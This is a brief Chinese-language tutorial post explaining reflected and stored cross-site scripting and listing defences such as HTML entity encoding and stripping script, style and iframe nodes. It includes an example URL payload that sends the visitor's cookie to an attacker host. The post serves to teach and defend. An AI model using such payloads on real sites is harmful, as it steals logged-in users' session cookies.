xss攻击方式

来源:互联网 发布:项目进度跟进软件 编辑:程序博客网 时间:2024/06/03 20:10

1.xss攻击方式

反射型
发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS代码随响应内容一起传
回给浏览器,最后浏览器解析执行XSS代码。这个过程像一次反射,故叫反射性XSS。

例如:网站搜索列表输入'<script>alert('xss')</script>',如果前端没有对数据进行过滤,浏览器alert那个字符串出来。

http://www.xxx.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>

如果用户刚好已经登录该网站,那么,用户的登录cookie信息就已经发到了攻击者的服务器(xss.com)了。

存储型
存储型XSS和反射型XSS的差别仅在于,提交代码会存储在服务器端(数据库,内存,文件系统等),
下次请求目标页面时不用再提交XSS代码。

例如:用户评论输入'<script>alert('xss')</script>',如果前端没有对数据进行过滤,别的用户在浏览的时候恶意代码就会执行。


2.防御措施

编码 对用户输入的数据进行HTML Entity编码
过滤 移除用户上传的DOM属性,如onerror等
         移除用户上传的Style节点、Script节点、Iframe节点等
校正 避免直接对HTML Entity解码
          使用DOM Parse转换,校正不配对的DOM标签

具体方法参考 http://www.cnblogs.com/lovesong/p/5211667.html

原创粉丝点击